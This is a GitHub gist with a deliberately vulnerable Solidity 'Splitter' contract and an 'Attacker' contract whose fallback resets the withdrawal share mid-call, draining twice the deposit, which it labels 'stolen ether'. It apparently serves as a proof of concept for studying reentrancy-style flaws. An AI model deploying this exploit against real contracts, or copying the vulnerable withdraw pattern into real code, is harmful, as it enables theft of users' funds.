Skip to content

Instantly share code, notes, and snippets.

@eMarchenko
Last active January 16, 2019 17:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save eMarchenko/42ba28d7e08f7ef248d6fe33183c70f5 to your computer and use it in GitHub Desktop.
Save eMarchenko/42ba28d7e08f7ef248d6fe33183c70f5 to your computer and use it in GitHub Desktop.
pragma solidity 0.5.2;
contract Splitter {
uint public constant MAX = 100;
mapping(address => uint) public balances;
mapping(address => uint) public shares;
function deposit(uint share) external payable {
require(balances[msg.sender] == 0);
require(share <= MAX);
balances[msg.sender] = msg.value;
shares[msg.sender] = share;
}
function setShare(uint share) public {
require(share <= MAX);
shares[msg.sender] = share;
}
function withdraw(address payable a1, address payable a2) public {
uint value = balances[msg.sender];
delete balances[msg.sender];
(bool b, ) = a1.call.value(value * shares[msg.sender] / MAX)("");
require(b);
(b, ) = a2.call.value(value * (MAX - shares[msg.sender]) / MAX)("");
require(b);
}
}
contract Attacker {
function attack(Splitter target) external payable {
target.deposit.value(1 ether)(100);
target.withdraw(address(this), address(this));
msg.sender.transfer(address(this).balance); // just to retrieve stolen ether
}
function() external payable {
Splitter(msg.sender).setShare(0);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment